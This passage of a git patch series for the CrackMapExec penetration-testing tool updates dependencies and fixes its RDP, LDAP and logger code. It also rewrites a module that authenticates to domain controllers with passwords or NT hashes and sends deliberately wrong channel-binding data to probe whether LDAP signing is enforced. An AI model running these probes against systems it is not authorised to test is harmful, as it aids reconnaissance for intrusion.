"sha256:f15c54713a8dd57a01c974c9f96476688f6f6374d348819ed7e459535844b614"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ea9461f6955f3cf9eff6eeec271686caed7792c76f5b966886a36a42ea46e6b2"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:18795e87601b4244fd08b542cd6bff9ef674b17bcd34e4a3c9935398e2cc762c"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0b698440c477c00bdedff87348b19a79630a235864a8f4378098d61079c16ce9"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-win32.whl", hash = "sha256:38e26cf6b9b4c6c37846f7e31b42e4d664b35f055691265f07e06aeb6167c494"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-win_amd64.whl", hash = "sha256:a6f7d1debb233f1567d700ebcdde0781a0b63db0ef266246dfbf75ae41bfdf85"}, - {file = "SQLAlchemy-2.0.7-py3-none-any.whl", hash = "sha256:fc67667c8e8c04e5c3250ab2cd51df40bc7c28c7c253d0475b377eff86fe4bb0"}, - {file = "SQLAlchemy-2.0.7.tar.gz", hash = "sha256:a4c1e1582492c66dfacc9eab52738f3e64d9a2a380e412668f75aa06e540f649"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:78303719c6f72af97814b0072ad18bee72e70adca8d95cf8fecd59c5e1ddb040"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9d810b4aacd5ef4e293aa4ea01f19fca53999e9edcfc4a8ef1146238b30bdc28"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3fb5d09f1d51480f711b69fe28ad42e4f8b08600a85ab2473baee669e1257800"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51b19887c96d405599880da6a7cbdf8545a7e78ec5683e46a43bac8885e32d0f"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d6b17cb86908e7f88be14007d6afe7d2ab11966e373044137f96a6a4d83eb21c"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df25052b92bd514357a9b370d74f240db890ea79aaa428fb893520e10ee5bc18"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-win32.whl", hash = "sha256:55ec62ddc0200b4fee94d11abbec7aa25948d5d21cb8df8807f4bdd3c51ba44b"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-win_amd64.whl", hash = "sha256:ae1d8deb391ab39cc8f0d5844e588a115ae3717e607d91482023917f920f777f"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4670ce853cb25f72115a1bbe366ae13cf3f28fc5c87222df14f8d3d55d51816e"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cea7c4a3dfc2ca61f88a2b1ddd6b0bfbd116c9b1a361b3b66fd826034b833142"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f5784dfb2d45c19cde03c45c04a54bf47428610106197ed6e6fa79f33bc63d3"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9b31ebde27575b3b0708673ec14f0c305c4564d995b545148ab7ac0f4d9b847a"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:6b42913a0259267e9ee335da0c36498077799e59c5e332d506e72b4f32de781d"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6a3f8020e013e9b3b7941dcf20b0fc8f7429daaf7158760846731cbd8caa5e45"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-win32.whl", hash = "sha256:88ab245ed2c96265441ed2818977be28c840cfa5204ba167425d6c26eb67b7e7"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-win_amd64.whl", hash = "sha256:5cc48a7fda2b5c5b8860494d6c575db3a101a68416492105fed6591dc8a2728a"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f6fd3c88ea4b170d13527e93be1945e69facd917661d3725a63470eb683fbffe"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1e885dacb167077df15af2f9ccdacbd7f5dd0d538a6d74b94074f2cefc7bb589"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:201a99f922ac8c780b3929128fbd9df901418877c70e160e19adb05665e51c31"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:e17fdcb8971e77c439113642ca8861f9465e21fc693bd3916654ceef3ac26883"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:db269f67ed17b07e80aaa8fba1f650c0d84aa0bdd9d5352e4ac38d5bf47ac568"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-win32.whl", hash = "sha256:994a75b197662e0608b6a76935d7c345f7fd874eac0b7093d561033db61b0e8c"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-win_amd64.whl", hash = "sha256:4d61731a35eddb0f667774fe15e5a4831e444d066081d1e809e1b8a0e3f97cae"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f7f994a53c0e6b44a2966fd6bfc53e37d34b7dca34e75b6be295de6db598255e"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:79bfe728219239bdc493950ea4a4d15b02138ecb304771f9024d0d6f5f4e3706"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d6320a1d175447dce63618ec997a53836de48ed3b44bbe952f0b4b399b19941"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f80a9c9a9af0e4bd5080cc0955ce70274c28e9b931ad7e0fb07021afcd32af6"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:4a75fdb9a84072521bb2ebd31eefe1165d4dccea3039dda701a864f4b5daa17f"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:21c89044fc48a25c2184eba332edeffbbf9367913bb065cd31538235d828f06f"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-win32.whl", hash = "sha256:1a0754c2d9f0c7982bec0a31138e495ed1f6b8435d7e677c45be60ec18370acf"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-win_amd64.whl", hash = "sha256:bc5c2b0da46c26c5f73f700834f871d0723e1e882641932468d56833bab09775"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:670ecf74ee2e70b917028a06446ad26ff9b1195e84b09c3139c215123d57dc30"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:d14282bf5b4de87f922db3c70858953fd081ef4f05dba6cca3dd705daffe1cc9"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:256b2b9660e51ad7055a9835b12717416cf7288afcf465107413917b6bb2316f"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:810199d1c5b43603a9e815ae9487aef3ab1ade7ed9c0c485e12519358929fbfe"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:536c86ec81ca89291d533ff41a3a05f9e4e88e01906dcee0751fc7082f3e8d6c"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:435f6807fa6a0597d84741470f19db204a7d34625ea121abd63e8d95f673f0c4"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-win32.whl", hash = "sha256:da7381a883aee20b7d2ffda17d909b38134b6a625920e65239a1c681881df800"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-win_amd64.whl", hash = "sha256:788d1772fb8dcd12091ca82809eef504ce0f2c423e45284bc351b872966ff554"}, + {file = "SQLAlchemy-2.0.15-py3-none-any.whl", hash = "sha256:933d30273861fe61f014ce2a7e3c364915f5efe9ed250ec1066ca6ea5942c0bd"}, + {file = "SQLAlchemy-2.0.15.tar.gz", hash = "sha256:2e940a8659ef870ae10e0d9e2a6d5aaddf0ff6e91f7d0d7732afc9e8c4be9bbc"}, ] [package.dependencies] @@ -2389,14 +2368,14 @@ files = [ [[package]] name = "typing-extensions" -version = "4.5.0" +version = "4.6.1" description = "Backported and Experimental Type Hints for Python 3.7+" category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "typing_extensions-4.5.0-py3-none-any.whl", hash = "sha256:fb33085c39dd998ac16d1431ebc293a8b3eedd00fd4a32de0ff79002c19511b4"}, - {file = "typing_extensions-4.5.0.tar.gz", hash = "sha256:5cb5f4a79139d699607b3ef622a1dedafa84e115ab0024e0d9c044a9479ca7cb"}, + {file = "typing_extensions-4.6.1-py3-none-any.whl", hash = "sha256:6bac751f4789b135c43228e72de18637e9a6c29d12777023a703fd1a6858469f"}, + {file = "typing_extensions-4.6.1.tar.gz", hash = "sha256:558bc0c4145f01e6405f4a5fdbd82050bd221b119f4bf72a961a1cfd471349d6"}, ] [[package]] @@ -2415,20 +2394,21 @@ pycryptodomex = "*" [[package]] name = "urllib3" -version = "1.26.15" +version = "2.0.2" description = "HTTP library with thread-safe connection pooling, file post, and more." category = "main" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +python-versions = ">=3.7" files = [ - {file = "urllib3-1.26.15-py2.py3-none-any.whl", hash = "sha256:aa751d169e23c7479ce47a0cb0da579e3ede798f994f5816a74e4f4500dcea42"}, - {file = "urllib3-1.26.15.tar.gz", hash = "sha256:8a388717b9476f934a21484e8c8e61875ab60644d29b9b39e11e4b9dc1c6b305"}, + {file = "urllib3-2.0.2-py3-none-any.whl", hash = "sha256:d055c2f9d38dc53c808f6fdc8eab7360b6fdbbde02340ed25cfbcd817c62469e"}, + {file = "urllib3-2.0.2.tar.gz", hash = "sha256:61717a1095d7e155cdb737ac7bb2f4324a858a1e2e6466f6d03ff630ca68d3cc"}, ] [package.extras] -brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"] -secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"] -socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] +brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)"] +secure = ["certifi", "cryptography (>=1.9)", "idna (>=2.0.0)", "pyopenssl (>=17.1.0)", "urllib3-secure-extra"] +socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] +zstd = ["zstandard (>=0.18.0)"] [[package]] name = "wcwidth" @@ -2591,4 +2571,4 @@ testing = ["big-O", "flake8 (<5)", "jaraco.functools", "jaraco.itertools", "more [metadata] lock-version = "2.0" python-versions = "^3.7.0" -content-hash = "d9b6bb394b17b9c55a33259374da77853529ad1b324da5be366c1e34ecee4dd9" +content-hash = "1b758a407eb2d1f0ffb9023f0c832cadd49ef7029bbc195698b8f4b7f6488305" From e31c84c9e59a7734da37728507eec39636eb7b9c Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 24 May 2023 08:16:08 -0400 Subject: [PATCH 70/76] add rich to package --- poetry.lock | 2 +- pyproject.toml | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/poetry.lock b/poetry.lock index 99ca51c8..1a2054b1 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2571,4 +2571,4 @@ testing = ["big-O", "flake8 (<5)", "jaraco.functools", "jaraco.itertools", "more [metadata] lock-version = "2.0" python-versions = "^3.7.0" -content-hash = "1b758a407eb2d1f0ffb9023f0c832cadd49ef7029bbc195698b8f4b7f6488305" +content-hash = "ad238d7ceb810d2b90bb7e49834c309971647db875cc3f39bab8cfdeae992a45" diff --git a/pyproject.toml b/pyproject.toml index 881ffffb..b74b019f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -52,6 +52,7 @@ sqlalchemy = "^2.0.4" aiosqlite = "^0.18.0" pytest = "^7.2.2" pyasn1-modules = "^0.3.0" +rich = "^13.3.5" [tool.poetry.dev-dependencies] flake8 = "*" From 777a074add2cc1b5661edb8d95e6bc21c872f5ce Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 24 May 2023 14:36:39 +0200 Subject: [PATCH 71/76] Add "(all except LoggedOn)" to bloodhound description --- cme/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/protocols/ldap.py b/cme/protocols/ldap.py index 8cc7bd0b..9fae44f4 100644 --- a/cme/protocols/ldap.py +++ b/cme/protocols/ldap.py @@ -260,7 +260,7 @@ class ldap(connection): bgroup.add_argument( "-c", "--collection", - help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'", + help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All (all except LoggedOn). You can specify more than one by separating them with a comma. (default: Default)'", ) return parser From 1d5df5b9b3e3c59090e762b320662a87db92b948 Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 24 May 2023 09:19:26 -0400 Subject: [PATCH 72/76] fix rdp scanner --- cme/protocols/rdp.py | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/cme/protocols/rdp.py b/cme/protocols/rdp.py index 194a8543..d9558779 100644 --- a/cme/protocols/rdp.py +++ b/cme/protocols/rdp.py @@ -196,6 +196,7 @@ class rdp(connection): self.domain = info_domain["dnsdomainname"] self.hostname = info_domain["computername"] self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"]) + self.logger.extra["hostname"] = self.hostname self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}") self.output_filename = self.output_filename.replace(":", "-") @@ -238,16 +239,7 @@ class rdp(connection): if err is not None: raise err - def kerberos_login( - self, - domain, - username, - password="", - ntlm_hash="", - aesKey="", - kdcHost="", - useCache=False, - ): + def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): try: lmhash = "" nthash = "" @@ -291,6 +283,7 @@ class rdp(connection): proxies=None, dns=None, dc_ip=self.domain, + domain=self.domain ) self.auth = KerberosCredential( target=kerberos_target, From 8d36d330e8ef1c8533250fb3705dd53931c59a45 Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 24 May 2023 23:48:36 -0400 Subject: [PATCH 73/76] fix logger color --- cme/logger.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/cme/logger.py b/cme/logger.py index 79a52325..140403cb 100755 --- a/cme/logger.py +++ b/cme/logger.py @@ -87,7 +87,7 @@ class CMEAdapter(logging.LoggerAdapter): cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) - def success(self, msg, *args, **kwargs): + def success(self, msg, color='green', *args, **kwargs): """ Print some sort of success to the user """ @@ -97,7 +97,7 @@ class CMEAdapter(logging.LoggerAdapter): except AttributeError: pass - msg, kwargs = self.format(f"{colored('[+]', 'green', attrs=['bold'])} {msg}", kwargs) + msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs) text = Text.from_ansi(msg) cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) @@ -117,7 +117,7 @@ class CMEAdapter(logging.LoggerAdapter): cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) - def fail(self, msg, *args, **kwargs): + def fail(self, msg, color='red', *args, **kwargs): """ Prints a failure (may or may not be an error) - e.g. login creds didn't work """ @@ -126,7 +126,7 @@ class CMEAdapter(logging.LoggerAdapter): return except AttributeError: pass - msg, kwargs = self.format(f"{colored('[-]', 'red', attrs=['bold'])} {msg}", kwargs) + msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs) text = Text.from_ansi(msg) cme_console.print(text, *args, **kwargs) self.log_console_to_file(text, *args, **kwargs) From 95bd9bca5448b640190a0d4b93d1b64d4612334a Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 24 May 2023 17:33:47 -0400 Subject: [PATCH 74/76] remove ldap3 dependency for ldap-checker module --- cme/modules/ldap-checker.py | 143 +++++++++++++++++------------------- 1 file changed, 66 insertions(+), 77 deletions(-) diff --git a/cme/modules/ldap-checker.py b/cme/modules/ldap-checker.py index 501151c7..6f6cd901 100644 --- a/cme/modules/ldap-checker.py +++ b/cme/modules/ldap-checker.py @@ -1,8 +1,6 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket - -import ldap3 import ssl import asyncio @@ -11,7 +9,9 @@ from msldap.commons.target import MSLDAPTarget from asyauth.common.constants import asyauthSecret from asyauth.common.credentials.ntlm import NTLMCredential +from asyauth.common.credentials.kerberos import KerberosCredential +from asysocks.unicomm.common.target import UniTarget, UniProto class CMEModule: """ @@ -34,44 +34,23 @@ class CMEModule: pass def on_login(self, context, connection): - # Grab the variables from the CME connection to fill our variables - - inputUser = connection.domain + "\\" + connection.username - inputPassword = connection.password - if connection.password == "" and connection.nthash is not None: - context.log.debug("Using NT(LM) hash for authentication") - inputPassword = "aad3b435b51404eeaad3b435b51404ee:" + connection.nthash - dcTarget = connection.conn.getRemoteHost() - # Conduct a bind to LDAPS and determine if channel # binding is enforced based on the contents of potential # errors returned. This can be determined unauthenticated, # because the error indicating channel binding enforcement # will be returned regardless of a successful LDAPS bind. - def run_ldaps_noEPA(inputUser, inputPassword, dcTarget): - try: - tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2) - ldapServer = ldap3.Server(dcTarget, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls) - ldapConn = ldap3.Connection( - ldapServer, - user=inputUser, - password=inputPassword, - authentication=ldap3.NTLM, - ) - if not ldapConn.bind(): - if "data 80090346" in str(ldapConn.result): - return True # channel binding IS enforced - elif "data 52e" in str(ldapConn.result): - return False # channel binding not enforced - else: - context.log.fail("UNEXPECTED ERROR: " + str(ldapConn.result)) - else: - # LDAPS bind successful - return False # because channel binding is not enforced - exit() - except Exception as e: - context.log.fail("\n [!] " + dcTarget + " -", str(e)) - context.log.fail(" * Ensure DNS is resolving properly, and that you can reach" " LDAPS on this host") + async def run_ldaps_noEPA(target, credential): + ldapsClientConn = MSLDAPClientConnection(target, credential) + _, err = await ldapsClientConn.connect() + _, err = await ldapsClientConn.bind() + if "data 80090346" in str(err): + return True # channel binding IS enforced + elif "data 52e" in str(err): + return False # channel binding not enforced + elif err is None: + # LDAPS bind successful + # because channel binding is not enforced + return False # Conduct a bind to LDAPS with channel binding supported # but intentionally miscalculated. In the case that and @@ -79,25 +58,11 @@ class CMEModule: # you can determine whether the policy is set to "never" or # if it's set to "when supported" based on the potential # error recieved from the bind attempt. - async def run_ldaps_withEPA(inputUser, inputPassword, dcTarget): - target = MSLDAPTarget( - ip=connection.host, - hostname=connection.hostname, - domain=connection.domain, - dc_ip=connection.domain, - ) - stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT - secret = connection.password if not connection.nthash else connection.nthash - credential = NTLMCredential( - secret=secret, - username=connection.username, - domain=connection.domain, - stype=stype, - ) + async def run_ldaps_withEPA(target, credential): ldapsClientConn = MSLDAPClientConnection(target, credential) _, err = await ldapsClientConn.connect() if err is not None: - context.log.fail("ERROR while connecting to " + dcTarget + ": " + err) + context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) # forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" _, err = await ldapsClientConn.bind() @@ -106,7 +71,7 @@ class CMEModule: elif "data 52e" in str(err): return False elif err is not None: - context.log.fail("ERROR while connecting to " + dcTarget + ": " + err) + context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) elif err is None: return False @@ -147,38 +112,62 @@ class CMEModule: # Conduct and LDAP bind and determine if server signing # requirements are enforced based on potential errors # during the bind attempt. - def run_ldap(inputUser, inputPassword, dcTarget): - ldapServer = ldap3.Server(dcTarget, use_ssl=False, port=389, get_info=ldap3.ALL) - ldapConn = ldap3.Connection( - ldapServer, - user=inputUser, - password=inputPassword, - authentication=ldap3.NTLM, - ) - if not ldapConn.bind(): - if "stronger" in str(ldapConn.result): - return True # because LDAP server signing requirements ARE enforced - elif "data 52e" or "data 532" in str(ldapConn.result): - context.log.debug("Not connected") - return - else: - context.log.debug("UNEXPECTED ERROR: " + str(ldapConn.result)) - else: - # LDAPS bind successful - return False # because LDAP server signing requirements are not enforced + async def run_ldap(target, credential): + ldapsClientConn = MSLDAPClientConnection(target, credential) + _, err = await ldapsClientConn.connect() + _, err = await ldapsClientConn.bind() + if "stronger" in str(err): + return True # because LDAP server signing requirements ARE enforced + elif ("data 52e" or "data 532") in str(err): + context.log.fail("Not connected... exiting") exit() + elif err is None: + return False - # Run trough all our code blocks to determine LDAP signing and channel binding settings. + # Run trough all our code blocks to determine LDAP signing and channel binding settings. + stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT + secret = connection.password if not connection.nthash else connection.nthash + if not connection.kerberos: + credential = NTLMCredential( + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype, + ) + else: + kerberos_target = UniTarget( + connection.hostname + '.' + connection.domain, + 88, + UniProto.CLIENT_TCP, + proxies=None, + dns=None, + dc_ip=connection.domain, + domain=connection.domain + ) + credential = KerberosCredential( + target=kerberos_target, + secret=secret, + username=connection.username, + domain=connection.domain, + stype=stype, + ) - ldapIsProtected = run_ldap(inputUser, inputPassword, dcTarget) + target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain) + ldapIsProtected = asyncio.run(run_ldap(target, credential)) if ldapIsProtected == False: context.log.highlight("LDAP Signing NOT Enforced!") elif ldapIsProtected == True: context.log.fail("LDAP Signing IS Enforced") - if DoesLdapsCompleteHandshake(dcTarget) == True: - ldapsChannelBindingAlwaysCheck = run_ldaps_noEPA(inputUser, inputPassword, dcTarget) - ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(inputUser, inputPassword, dcTarget)) + else: + context.log.fail("Connection fail, exiting now") + exit() + + if DoesLdapsCompleteHandshake(connection.domain) == True: + target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain) + ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential)) + target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain) + ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential)) if ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == True: context.log.highlight('LDAPS Channel Binding is set to "When Supported"') elif ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == False: @@ -189,4 +178,4 @@ class CMEModule: context.log.fail("\nSomething went wrong...") exit() else: - context.log.fail(dcTarget + " - cannot complete TLS handshake, cert likely not configured") + context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured") From 4f46a196311681f662517fee066a01a026a6949d Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 25 May 2023 04:00:22 -0400 Subject: [PATCH 75/76] fix ldap connection --- cme/modules/ldap-checker.py | 23 +++++++++++++++-------- cme/protocols/ldap.py | 19 ++++++++++--------- 2 files changed, 25 insertions(+), 17 deletions(-) diff --git a/cme/modules/ldap-checker.py b/cme/modules/ldap-checker.py index 6f6cd901..98ea6597 100644 --- a/cme/modules/ldap-checker.py +++ b/cme/modules/ldap-checker.py @@ -42,6 +42,9 @@ class CMEModule: async def run_ldaps_noEPA(target, credential): ldapsClientConn = MSLDAPClientConnection(target, credential) _, err = await ldapsClientConn.connect() + if err is not None: + context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) + exit() _, err = await ldapsClientConn.bind() if "data 80090346" in str(err): return True # channel binding IS enforced @@ -63,6 +66,7 @@ class CMEModule: _, err = await ldapsClientConn.connect() if err is not None: context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) + exit() # forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" _, err = await ldapsClientConn.bind() @@ -115,14 +119,17 @@ class CMEModule: async def run_ldap(target, credential): ldapsClientConn = MSLDAPClientConnection(target, credential) _, err = await ldapsClientConn.connect() - _, err = await ldapsClientConn.bind() - if "stronger" in str(err): - return True # because LDAP server signing requirements ARE enforced - elif ("data 52e" or "data 532") in str(err): - context.log.fail("Not connected... exiting") - exit() - elif err is None: - return False + if err is None: + _, err = await ldapsClientConn.bind() + if "stronger" in str(err): + return True # because LDAP server signing requirements ARE enforced + elif ("data 52e" or "data 532") in str(err): + context.log.fail("Not connected... exiting") + exit() + elif err is None: + return False + else: + context.log.fail(str(err)) # Run trough all our code blocks to determine LDAP signing and channel binding settings. stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT diff --git a/cme/protocols/ldap.py b/cme/protocols/ldap.py index 8cc7bd0b..0a7fb9a2 100644 --- a/cme/protocols/ldap.py +++ b/cme/protocols/ldap.py @@ -51,6 +51,7 @@ ldap_error_status = { "773": "STATUS_PASSWORD_MUST_CHANGE", "775": "USER_ACCOUNT_LOCKED", "50": "LDAP_INSUFFICIENT_ACCESS", + "0": "LDAP Signing IS Enforced", "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED", } @@ -561,13 +562,6 @@ class ldap(connection): add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True - except ldap_impacket.LDAPSessionError as e: - error_code = str(e).split()[-2][:-1] - self.logger.fail( - f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", - color="magenta" if error_code in ldap_error_status else "red", - ) - return False except SessionError as e: error, desc = e.getErrorString() self.logger.fail( @@ -575,6 +569,13 @@ class ldap(connection): color="magenta" if error in ldap_error_status else "red", ) return False + except: + error_code = str(e).split()[-2][:-1] + self.logger.fail( + f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", + color="magenta" if error_code in ldap_error_status else "red", + ) + return False else: error_code = str(e).split()[-2][:-1] self.logger.fail( @@ -621,7 +622,7 @@ class ldap(connection): # We need to try SSL try: # Connect to LDAPS - ldaps_url = f"{proto}://{self.target}" + ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]") self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN) self.ldapConnection.login( @@ -643,7 +644,7 @@ class ldap(connection): add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True - except ldap_impacket.LDAPSessionError as e: + except: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", From 95797a762e4f11a20460d58f44666f47b74fd012 Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 25 May 2023 08:16:05 -0400 Subject: [PATCH 